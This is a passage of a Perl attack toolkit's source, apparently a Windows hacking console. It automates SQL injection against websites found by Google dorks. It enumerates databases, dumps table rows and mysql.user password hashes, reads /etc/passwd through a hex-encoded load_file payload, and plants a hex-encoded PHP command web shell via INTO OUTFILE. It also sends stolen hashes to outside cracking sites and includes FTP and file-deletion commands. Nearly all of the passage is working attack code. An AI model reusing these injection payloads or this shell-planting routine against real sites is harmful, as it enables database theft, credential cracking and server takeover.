  173. print "\n\n[+] ".hex_de($1)."\n\n";
  174. }
  175. elsif ($cmd=~/download (.*) (.*)/) {
  176. my $file,$name = $1,$2;
  177. if (download($1,$2)) {
  178. print "[+] File downloaded\n";
  179. }
  180. }
  181. elsif ($cmd=~/encodeascii (.*)/) {
  182. print "\n\n[+] ".ascii($1)."\n\n";
  183. }
  184. elsif ($cmd=~/decodeascii (.*)/) {
  185. print "\n\n[+] ".ascii_de($1)."\n\n";
  186. }
  187. elsif ($cmd=~/encodebase (.*)/) {
  188. print "\n\n[+] ".base($1)."\n\n";
  189. }
  190. elsif ($cmd=~/decodebase (.*)/) {
  191. print "\n\n[+] ".base_de($1)."\n\n";
  192. }
  193. elsif ($cmd=~/aboutme/) {
  194. aboutme();
  195. }
  196. elsif ($cmd=~/scanport (.*)/) {
  197. scanport($1);
  198. }
  199. elsif ($cmd=~/panel (.*)/) {
  200. scanpanel($1);
  201. }
  202. elsif ($cmd=~/scangoogle/) {
  203. print "[Dork] : ";
  204. chomp(my $dork = <stdin>);
  205. print "\n\n[Pages] : ";
  206. chomp(my $pages = <stdin>);
  207. print "\n\n[Starting the search]\n\n";
  208. my @links = google($dork,$pages);
  209. print "\n[Links Found] : ".int(@links)."\n\n\n";
  210. print "[Starting the scan]\n\n\n";
  211. for my $link(@links) {
  212. if ($link=~/(.*)=/ig) {
  213. my $web = $1;
  214. sql($web."=");
  215. }}
  216. print "\n\n[+] Finish\n";
  217. }
  218. elsif ($cmd=~/getpass (.*)/) {
  219. crackit($1);
  220. }
  221. elsif ($cmd=~/ftp (.*) (.*) (.*)/) {
  222. ftp($1,$2,$3);
  223. }
  224. elsif ($cmd=~/navegator/) {
  225. nave:
  226. print getcwd().">";
  227. chomp(my $rta = <stdin>);
  228. print "\n\n";
  229. if ($rta=~/list/) {
  230. my @files = coleccionar(getcwd());
  231. for(@files) {
  232. if (-f $_) {
  233. print "[File] : ".$_."\n";
  234. } else {
  235. print "[Directory] : ".$_."\n";
  236. }}}
  237. if ($rta=~/cd (.*)/) {
  238. my $dir = $1;
  239. if (chdir($dir)) {
  240. print "\n[+] Directory changed\n";
  241. } else {
  242. print "\n[-] Error\n";
  243. }}
  244. if ($rta=~/del (.*)/) {
  245. my $file = getcwd()."/".$1;
  246. if (-f $file) {
  247. if (unlink($file)) {
  248. print "\n[+] File Deleted\n";
  249. } else {
  250. print "\n[-] Error\n";
  251. }
  252. } else {
  253. if (rmdir($file)) {
  254. print "\n[+] Directory Deleted\n";
  255. } else {
  256. print "\n[-] Error\n";
  257. }}}
  258. if ($rta=~/rename (.*) (.*)/) {
  259. if (rename(getcwd()."/".$1,getcwd()."/".$2)) {
  260. print "\n[+] File Changed\n";
  261. } else {
  262. print "\n[-] Error\n";
  263. }}
  264. if ($rta=~/open (.*)/) {
  265. my $file = $1;
  266. chomp $file;
  267. system($file);
  268. #system(getcwd()."/".$file);
  269. }
  270. if ($rta=~/help/) {
  271. print "\nCommands : help cd list del rename open exit\n\n";
  272. }
  273. if ($rta=~/exit/) {
  274. next;
  275. }
  276. print "\n\n";
  277. goto nave;
  278. }
  279. elsif ($cmd=~/kobra (.*)/) {
  280. my $url = $1;
  281. chomp $url;
  282. scansqli($url,"--");
  283. }
  284. elsif ($cmd=~/mysql (.*) (.*) (.*)/) {
  285. enter($1,$2,$3);
  286. }
  287. elsif ($cmd=~/exit/) {
  288. copyright();
  289. <stdin>;
  290. exit(1);
  291. }
  292. else {
  293. system($cmd);
  294. }
  295. #print "\n\n";
  296. }
  297.  
  298.  
  299. sub scansqli {
  300.  
  301. my $page = $_[0];
  302. print "[Status] : Scanning.....\n";
  303. ($pass1,$bypass2) = &bypass($_[1]);
  304. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  305. my $save = $auth;
  306.  
  307. if ($_[0]=~/hackman/ig) {
  308. savefile($save.".txt","\n[Target Confirmed] : $_[0]\n");
  309. &menu_options($_[0],$pass,$save);
  310. } else {
  311.  
  312. my $testar1 = toma($page.$pass1."and".$pass1."1=0".$pass2);
  313. my $testar2 = toma($page.$pass1."and".$pass1."1=1".$pass2);
  314.  
  315. unless ($testar1 eq $testar2) {
  316. motor($page,$_[1]);
  317. } else {
  318. print "\n[-] Not vulnerable\n\n";
  319. print "[+] Scan anyway y/n : ";
  320. chomp(my $op = <stdin>);
  321. if ($op eq "y") {
  322. motor($page,$_[1]);
  323. } else {
  324. #head();
  325. #menu();
  326. }}}}
  327.  
  328. sub motor {
  329.  
  330. my ($gen,$save,$control) = &length($_[0],$_[1]);
  331.  
  332. if ($control eq 1) {
  333. print "[Status] : Enjoy the menu\n\n";
  334. &menu_options($gen,$pass,$save);
  335. } else {
  336. print "[Status] : Length columns not found\n\n";
  337. }
  338. }
  339.  
  340. sub length {
  341. print "\n[+] Looking for the number of columns\n\n";
  342. my $rows  = "0";
  343. my $asc;
  344. my $page = $_[0];
  345. ($pass1,$pass2) = &bypass($_[1]);
  346.  
  347. $alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
  348. $total = "1";
  349. for my $rows(2..200) {
  350. $asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")";
  351. $total.= ",".$rows;
  352. $injection = $page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;
  353. $test = toma($injection);
  354. if ($test=~/RATSXPDOWN/) {
  355. @number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  356. $control = 1;
  357. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  358. my $save = $auth;
  359. savefile($save.".txt","\n[Target confirmed] : $page");
  360. savefile($save.".txt","[Bypass] : $_[1]\n");
  361. savefile($save.".txt","[Limit] : The site has $rows columns");
  362. savefile($save.".txt","[Data] : The number @number print data");
  363. $total=~s/$number[0]/hackman/;
  364. savefile($save.".txt","[SQLI] : ".$page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total);
  365. return($page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total,$save,$control);
  366. }
  367. }
  368. }
  369.  
  370. sub details {
  371. my ($page,$bypass,$save) = @_;
  372. ($pass1,$pass2) = &bypass($bypass);
  373. savefile($save.".txt","\n");
  374. if ($page=~/(.*)hackman(.*)/ig) {
  375. print "\n[+] Searching information..\n\n";
  376. my  ($start,$end) = ($1,$2);
  377. $inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;
  378. $mysqluser = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2;
  379. $test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  380. $test1 = toma($inforschema);
  381. $test2 = toma($mysqluser);
  382. if ($test2=~/ERTOR854/ig) {
  383. savefile($save.".txt","[mysql.user] : ON");
  384. print "[mysql.user] : ON\n";
  385. } else {
  386. print "[mysql.user] : OFF\n";
  387. savefile($save.".txt","[mysql.user] : OFF");
  388. }
  389. if ($test1=~/ERTOR854/ig) {
  390. print "[information_schema.tables] : ON\n";
  391. savefile($save.".txt","[information_schema.tables] : ON");
  392. } else {
  393. print "[information_schema.tables] : OFF\n";
  394. savefile($save.".txt","[information_schema.tables] : OFF");
  395. }
  396. if ($test3=~/ERTOR854/ig) {
  397. print "[load_file] : ON\n";
  398. savefile($save.".txt","[load_file] : ".$start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  399. }
  400. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
  401. $injection = $start.$concat.$end.$pass2;
  402. $code = toma($injection);
  403. if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {
  404. print "\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n\n";
  405. savefile($save.".txt","\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n");
  406. } else {
  407. print "\n[-] Not found any data\n";
  408. }
  409. }
  410. }
  411.  
  412.  
  413. sub menu_options {
  414.  
  415. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  416. my $save = $auth;
  417. print "\n/logs/webs/$save>";
  418. chomp (my $rta = <stdin>);
  419.  
  420. if ($rta=~/help/) {
  421.  
  422. commands : details tables columns dbs othertable othercolumn
  423.           mysqluser dumper createshell readfile logs exit
  424.  
  425. );
  426. }
  427.  
  428.  
  429. if ($rta =~/tables/) {
  430. schematables($_[0],$_[1],$save);
  431. &reload;
  432. }
  433. elsif ($rta =~/columns (.*)/) {
  434. my $tabla = $1;
  435. schemacolumns($_[0],$_[1],$save,$tabla);
  436. &reload;
  437. }
  438. elsif ($rta =~/dbs/) {
  439. &schemadb($_[0],$_[1],$save);
  440. &reload;
  441. }
  442. elsif ($rta =~/othertable (.*)/) {
  443. my $data = $1;
  444. &schematablesdb($_[0],$_[1],$data,$save);
  445. &reload;
  446. }
  447. elsif ($rta =~/othercolumn (.*) (.*)/){
  448. my ($db,$table) = ($1,$2);
  449. &schemacolumnsdb($_[0],$_[1],$db,$table,$save);
  450. &reload;
  451. }
  452. elsif ($rta =~/mysqluser/) {
  453. &mysqluser($_[0],$_[1],$save);
  454. &reload;
  455. }
  456. elsif ($rta=~/logs/) {
  457. $t = "logs/webs/$save.txt";
  458. system("start $t");
  459. &reload;
  460. }
  461. elsif ($rta=~/exit/) {
  462. next;
  463. }
  464.  
  465. elsif($rta=~/createshell/) {
  466. print "\n\n[Full Path Discloure] : ";
  467. chomp(my $path = <STDIN>);
  468. &into($_[0],$_[1],$path,$save);
  469. }
  470. elsif($rta=~/readfile/) {
  471. loadfile($_[0],$_[1],$save);
  472. }
  473. elsif ($rta=~/dumper (.*) (.*) (.*)/) {
  474. my ($tabla,$col1,$col2) = ($1,$2,$3);
  475. &dump($_[0],$col1,$col2,$tabla,$_[1],$save);
  476. &reload;
  477. }
  478. elsif ($rta =~/details/) {
  479. &details($_[0],$_[1],$save);
  480. &reload;
  481. }
  482. else {
  483. &reload;
  484. }
  485. }
  486.  
  487.  
  488.  
  489. sub schematables {
  490. $real = "1";
  491. my ($page,$bypass,$save) = @_;
  492. savefile($save.".txt","\n");
  493. print "\n";
  494. my $page1 = $page;
  495. ($pass1,$pass2) = &bypass($_[1]);
  496. savefile($save.".txt","[DB] : default");
  497. print "\n[+] Searching tables with schema\n\n";
  498. $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  499. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  500. $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass2);
  501. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  502. my $resto = $1;
  503. $total = $resto - 17;
  504. print "[+] Tables Length :  $total\n\n";
  505. savefile($save.".txt","[+] Searching tables with schema\n");
  506. savefile($save.".txt","[+] Tables Length :  $total\n");
  507. my $limit = $1;
  508. for my $limit(17..$limit) {
  509. $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."limit".$pass1.$limit.",1".$pass2);
  510. if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  511. my $table = $1;
  512. chomp $table;
  513. print "[Table $real Found : $table ]\n";
  514. savefile($save.".txt","[Table $real Found : $table ]");
  515. $real++;
  516. }}
  517. print "\n";
  518. } else {
  519. print "\n[-] information_schema = ERROR\n";
  520. }
  521. }
  522.  
  523. sub reload {
  524. &menu_options($_[0]);
  525. }
  526.  
  527.  
  528. sub schemacolumns {
  529. my ($page,$bypass,$save,$table) = @_;
  530. my $page3 = $page;
  531. my $page4 = $page;
  532. savefile($save.".txt","\n");
  533. print "\n";
  534. ($pass1,$pass2) = &bypass($bypass);
  535. print "\n[DB] : default\n";
  536. savefile($save.".txt","[DB] : default");
  537. savefile($save.".txt","[Table] : $table\n");
  538. $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  539. $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass2);
  540. if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  541. print "\n[Columns Length : $1 ]\n\n";
  542. savefile($save.".txt","[Columns Length : $1 ]\n");
  543. my $si = $1;
  544. chomp $si;
  545. $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  546. $real = "1";
  547. for my $limit2(0..$si) {
  548. $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
  549. if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  550. print "[Column $real] : $1\n";
  551. savefile($save.".txt","[Column $real] : $1");
  552. $real++;
  553. }}
  554. print "\n";
  555. } else {
  556. print "\n[-] information_schema = ERROR\n";
  557. }}
  558.  
  559. sub schemadb {
  560. my ($page,$bypass,$save) = @_;
  561. my $page1 = $page;
  562. savefile($save.".txt","\n");
  563. print "\n\n[+] Searching DBS\n\n";
  564. ($pass1,$pass2) = &bypass($bypass);
  565. $page=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  566. $code = toma($page.$pass1."from".$pass1."information_schema.schemata");
  567. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  568. my $limita = $1;
  569. print "[+] Databases Length : $limita\n\n";
  570. savefile($save.".txt","[+] Databases Length : $limita\n");
  571. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  572. $real = "1";
  573. for my $limit(0..$limita) {
  574. $code = toma($page1.$pass1."from".$pass1."information_schema.schemata".$pass1."limit".$pass1.$limit.",1".$pass2);
  575. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  576. my $control = $1;
  577. if ($control ne "information_schema" and $control ne "mysql" and $control ne "phpmyadmin") {
  578. print "[Database $real Found] $control\n";
  579. savefile($save.".txt","[Database $real Found] : $control");
  580. $real++;
  581. }
  582. }
  583. }
  584. print "\n";
  585. } else {
  586. print "[-] information_schema = ERROR\n";
  587. }
  588. }
  589.  
  590. sub schematablesdb {
  591. my $page = $_[0];
  592. my $db = $_[2];
  593. my $page1 = $page;
  594. savefile($_[3].".txt","\n");
  595. print "\n\n[+] Searching tables with DB $db\n\n";
  596. ($pass1,$pass2) = &bypass($_[1]);
  597. savefile($_[3].".txt","[DB] : $db");
  598. $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  599. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  600. $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2);
  601. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
  602. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {  
  603. print "[+] Tables Length :  $1\n\n";
  604. savefile($_[3].".txt","[+] Tables Length :  $1\n");
  605. my $limit = $1;
  606. $real = "1";
  607. for my $lim(0..$limit) {
  608. $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2);
  609. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
  610. if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  611. my $table = $1;
  612. chomp $table;
  613. savefile($_[3].".txt","[Table $real Found : $table ]");
  614. print "[Table $real Found : $table ]\n";
  615. $real++;
  616. }}
  617. print "\n";
  618. } else {
  619. print "\n[-] information_schema = ERROR\n";
  620. }}
  621.  
  622. sub schemacolumnsdb {
  623. my ($page,$bypass,$db,$table,$save) = @_;
  624. my $page3 = $page;
  625. my $page4 = $page;
  626. print "\n\n[+] Searching columns in table $table with DB $db\n\n";
  627. savefile($save.".txt","\n");
  628. ($pass1,$pass2) = &bypass($_[1]);
  629. savefile($save.".txt","\n[DB] : $db");
  630. savefile($save.".txt","[Table] : $table");
  631. $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  632. $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass2);
  633. if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  634. print "\n[Columns length : $1 ]\n\n";
  635. savefile($save.".txt","[Columns length : $1 ]\n");
  636. my $si = $1;
  637. chomp $si;
  638. $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  639. $real = "1";
  640. for my $limit2(0..$si) {
  641. $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
  642. if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  643. print "[Column $real] : $1\n";
  644. savefile($save.".txt","[Column $real] : $1");
  645. $real++;
  646. }
  647. }
  648. } else {
  649. print "\n[-] information_schema = ERROR\n";
  650. }
  651. print "\n";
  652. }
  653.  
  654. sub mysqluser {
  655. my ($page,$bypass,$save) = @_;
  656. my $cop = $page;
  657. my $cop1 = $page;
  658. savefile($save.".txt","\n");
  659. print "\n\n[+] Finding mysql.users\n";
  660. ($pass1,$pass2) = &bypass($bypass);
  661. $page =~s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
  662. $code = toma($page.$pass1."from".$pass1."mysql.user".$pass2);
  663. if ($code=~/RATSXPDOWN/ig){
  664. $cop1 =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  665. $code1 = toma($cop1.$pass1."from".$pass1."mysql.user".$pass2);
  666. if ($code1=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  667. print "\n[+] Users Found : $1\n\n";
  668. savefile($save.".txt","\n[+] Users mysql Found : $1\n");
  669. for my $limit(0..$1) {
  670. $cop =~s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
  671. $code = toma($cop.$pass1."from".$pass1."mysql.user".$pass1."limit".$pass1.$limit.",1".$pass2);
  672. if ($code=~/RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig) {
  673. print "[Host] : $1 [User] : $2 [Password] : $3\n";
  674. savefile($save.".txt","[Host] : $1 [User] : $2 [Password] : $3");
  675. } else {
  676. print "\n";
  677. &reload;
  678. }
  679. }
  680. }
  681. } else {
  682. print "\n[-] mysql.user = ERROR\n\n";
  683. }
  684. }
  685.  
  686. sub dump {
  687. savefile($_[5].".txt","\n");
  688. my $page = $_[0];
  689. ($pass1,$pass2) = &bypass($_[4]);
  690. if ($page=~/(.*)hackman(.*)/){
  691. my $start = $1;
  692. my $end = $2;
  693. print "\n\n[+] Extracting values...\n\n";
  694. $concatx = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($_[1]),char(69,82,84,79,82,56,53,52))))";
  695. $val_code = toma($start.$concatx.$end.$pass1."from".$pass1.$_[3].$pass2);
  696. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$_[1],char(69,82,84,79,82,56,53,52),$_[2],char(69,82,84,79,82,56,53,52))))";
  697. if ($val_code=~/ERTOR854(.*)ERTOR854/ig) {
  698. $tota = $1;
  699. print "[+] Table : $_[3]\n";
  700. print "[+] Length of the rows : $tota\n\n";
  701. print "[$_[1]] [$_[2]]\n\n";
  702. savefile($_[5].".txt","[Table] : $_[3]");
  703. savefile($_[5].".txt","[+] Length of the rows: $tota\n");
  704. savefile($_[5].".txt","[$_[1]] [$_[2]]\n");
  705. for my $limit(0..$tota) {
  706. chomp $limit;
  707. $injection = toma($start.$concat.$end.$pass1."from".$pass1.$_[3].$pass1."limit".$pass1.$limit.",1".$pass2);
  708. if ($injection=~/ERTOR854(.*)ERTOR854(.*)ERTOR854/ig) {
  709. savefile($_[5].".txt","[$_[1]] : $1   [$_[2]] : $2");
  710. print "[$_[1]] : $1   [$_[2]] : $2\n";
  711. } else {
  712. print "\n\n[+] Extracting Finish\n\n";
  713. last;
  714. &reload;
  715. }
  716. }
  717. } else {
  718. print "[-] Not Found any DATA\n\n";
  719. }}}
  720.  
  721.  
  722. sub loadfile {
  723. savefile($_[2].".txt","\n");
  724. ($pass1,$pass2) = &bypass($_[1]);
  725. if ($_[0] =~/(.*)hackman(.*)/g) {
  726. my $start = $1; my $end = $2;
  727. print "\n\n[+] File to read : ";
  728. chomp (my $file = <stdin>);
  729. $concat = "unhex(hex(concat(char(107,48,98,114,97),load_file(".encode($file)."),char(107,48,98,114,97))))";
  730. my $code = toma($start.$concat.$end.$pass2);
  731. chomp $code;
  732. if ($code=~/k0bra(.*)k0bra/s) {
  733. print "[File Found] : $file\n";
  734. print "\n[Source Start]\n\n";
  735. print $1;
  736. print "\n\n[Source End]\n\n";
  737. savefile($_[2].".txt","[File Found] : $file");
  738. savefile($_[2].".txt","\n[Source Start]\n");
  739. savefile($_[2].".txt","$1");
  740. savefile($_[2].".txt","\n[Source End]\n");
  741. }}
  742. &reload;
  743. }
  744.  
  745.  
  746. sub into {
  747. print "\n\n[Status] : Injecting a SQLI for create a shell\n\n";
  748. my ($page,$bypass,$dir,$save) = @_;
  749. savefile($save.".txt","\n");
  750. print "\n";
  751. ($pass1,$pass2) = &bypass($bypass);
  752. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  753. if ($path=~/\/(.*)$/) {
  754. my $path1 = $1;
  755. my $path2 = $path1;
  756. $path2 =~s/$1//;
  757. $dir =~s/$path1//ig;
  758. $shell = $dir."/"."shell.php";
  759. if ($page =~/(.*)hackman(.*)/ig) {
  760. my  ($start,$end) = ($1,$2);
  761. $code = toma($start."0x3c7469746c653e4d696e69205368656c6c20427920446f6464793c2f7469746c653e3c3f7068702069662028697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b7d3f3e".$end.$pass1."into".$pass1."outfile".$pass1."'".$shell."'".$pass2);
  762. $code1 = toma("http://".$auth."/".$path2."/"."shell.php");
  763. if ($code1=~/Mini Shell By Doddy/ig) {
  764. print "[shell up] : http://".$auth."/".$path2."/"."shell.php\a";
  765. savefile($save.".txt","[shell up] : http://".$auth."/".$path2."/"."shell.php");
  766. } else {
  767. print "[shell] : Not Found\n";
  768. }
  769. }
  770. }
  771. print "\n\n";
  772. &reload;
  773. }
  774.  
  775.  
  776. sub bypass {
  777. if ($_[0] eq "/*") { return ("/**/","/*"); }
  778. elsif ($_[0] eq "%20") { return ("%20","%00"); }
  779. else {return ("+","--");}}
  780.  
  781. sub ascii {
  782. return join ',',unpack "U*",$_[0];
  783. }
  784.  
  785. sub base {
  786. $re = encode_base64($_[0]);
  787. chomp $re;
  788. return $re;
  789. }
  790.  
  791. sub base_de {
  792. $re = decode_base64($_[0]);
  793. chomp $re;
  794. return $re;
  795. }
  796.  
  797.  
  798. sub download {
  799. if ($nave->mirror($_[0],$_[1])) {
  800. if (-f $_[1]) {
  801. return true;
  802. }}}
  803.  
  804.  
  805. sub hex_en {
  806. my $string = $_[0];
  807. $hex = '0x';
  808. for (split //,$string) {
  809. $hex .= sprintf "%x", ord;
  810. }
  811. return $hex;
  812. }
  813.  
  814. sub hex_de {
  815. my $text = shift;
  816. $text =~ s/^0x//;
  817. $encode = join q[], map { chr hex } $text =~ /../g;
  818. return $encode;
  819. }
  820.  
  821. sub ascii_de {
  822. my $text = shift;
  823. $text = join q[], map { chr } split q[,],$text;
  824. return $text;
  825. }
  826.  
  827. sub getprocess {
  828.  
  829. my %procesos;
  830.  
  831. my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
  832. my $dos = $uno->ConnectServer("","root\\cimv2");
  833.  
  834. foreach my $pro (in $dos->InstancesOf("Win32_Process")){
  835. $procesos{$pro->{Caption}} = $pro->{ProcessId};
  836. }
  837. return %procesos;
  838. }
  839.  
  840. sub killprocess {
  841.  
  842. my ($numb,$pid) = @_;
  843.  
  844. if (Win32::Process::KillProcess($pid,$numb)) {
  845. return true;
  846. } else {
  847. return false;
  848. }
  849. }
  850.  
  851. sub getip {
  852. my $get = gethostbyname($_[0]);
  853. return inet_ntoa($get);
  854. }
  855.  
  856. sub crackit {
  857.  
  858. my $secret = $_[0];
  859.  
  860. print "[+] Cracking $_[0]\n\n";
  861.  
  862. my %hash = (
  863.  
  864. 'http://passcracking.com/' => {
  865. 'tipo'  => 'post',
  866. 'variables'=>'{"datafromuser" => $_[0], "submit" => "DoIT"}',
  867. 'regex'=>'<\/td><td>md5 Database<\/td><td>$_[0]<\/td><td bgcolor=#FF0000>(.*)<\/td><td>',
  868. },  
  869. 'http://md5.hashcracking.com/search.php?md5=' =>  {
  870. 'tipo' => 'get',
  871. 'regex' => 'Cleartext of $_[0] is (.*)',
  872. },
  873. 'http://www.bigtrapeze.com/md5/' =>  {
  874. 'tipo' => 'post',
  875. 'variables'=>'{"query" => $_[0], "submit" => " Crack "}',
  876. 'regex' => 'The hash <strong>$_[0]<\/strong> has been deciphered to: <strong>(.+)<\/strong>',
  877. },
  878. 'http://opencrack.hashkiller.com/' =>  {
  879. 'tipo' => 'post',
  880. 'variables'=>'{"oc_check_md5" => $_[0], "submit" => "Search MD5"}',
  881. 'regex' => qq(<\/div><div class="result">$_[0]:(.+)<br\/>),
  882. },
  883. 'http://www.hashchecker.com/index.php?_sls=search_hash' =>  {
  884. 'tipo' => 'post',
  885. 'variables'=>'{"search_field" => $_[0], "Submit" => "search"}',
  886. 'regex' => '<td><li>Your md5 hash is :<br><li>$_[0] is <b>(.*)<\/b> used charl',
  887. },
  888. 'http://victorov.su/md5/?md5e=&md5d=' =>  {
  889. 'tipo' => 'get',
  890. 'regex' => qq(MD5 ðàñøèôðîâàí: <b>(.*)<\/b><br><form action=\"\">),
  891. }
  892. );
  893.  
  894. for my $data(keys %hash) {
  895.  
  896. if ($hash{$data}{tipo} eq "get") {
  897. $code = toma($data.$_[0]);
  898. if ($code=~/$hash{$data}{regex}/ig) {
  899. print "\n[+] Decoded : ".$1."\n\n";
  900. saveyes("logs/pass-found.txt",$secret.":".$1);
  901. }
  902. } else {
  903. $code = tomar($data,$hash{$data}{variables});
  904. if ($code=~/$hash{$data}{regex}/ig) {
  905. saveyes("logs/pass-found.txt",$secret.":".$1);
  906. }
  907. }
  908. }
  909. print "\n[+] Finish\n";
  910. }
  911.  
  912. sub ftp {
  913.  
  914. my ($ftp,$user,$pass) = @_;
  915.  
  916. if (my $socket = Net::FTP->new($ftp)) {
  917. if ($socket->login($user,$pass)) {
  918.  
  919. print "\n[+] Enter of the server FTP\n\n";
  920.  
  921. menu:
  922.  
  923. print "\n\nftp>";
  924. chomp (my $cmd = <stdin>);
  925. print "\n\n";
  926.  
  927. if ($cmd=~/help/) {
  928. print q(
  929.  
  930. help : show information
  931. cd : change directory <dir>
  932. dir : list a directory
  933. mdkdir : create a directory <dir>
  934. rmdir : delete a directory <dir>
  935. pwd : directory  
  936. del : delete a file <file>
  937. rename : change name of the a file <file1> <file2>
  938. size : size of the a file <file>
  939. put : upload a file <file>
  940. get : download a file <file>
  941. cdup : change dir <dir>
  942. exit : ??
  943.  
  944.  
  945. );
  946. }
  947.  
  948. if ($cmd=~/dir/ig) {
  949. if (my @files = $socket->dir()) {
  950. for(@files) {
  951. print "[+] ".$_."\n";
  952. }
  953. } else {
  954. print "\n\n[-] Error\n\n";
  955. }
  956. }
  957.  
  958. if ($cmd=~/pwd/ig) {
  959. print "[+] Path : ".$socket->pwd()."\n";
  960. }
  961.  
  962. if ($cmd=~/cd (.*)/ig) {
  963. if ($socket->cwd($1)) {
  964. print "[+] Directory changed\n";
  965. } else {
  966. print "\n\n[-] Error\n\n";
  967. }
  968. }
  969.  
  970. if ($cmd=~/cdup/ig) {
  971. if (my $dir = $socket->cdup()) {
  972. print "\n\n[+] Directory changed\n\n";
  973. } else {
  974. print "\n\n[-] Error\n\n";
  975. }
  976. }
  977.  
  978. if ($cmd=~/del (.*)/ig) {
  979. if ($socket->delete($1)) {
  980. print "[+] File deleted\n";
  981. } else {
  982. print "\n\n[-] Error\n\n";
  983. }
  984. }
  985.  
  986. if ($cmd=~/rename (.*) (.*)/ig) {
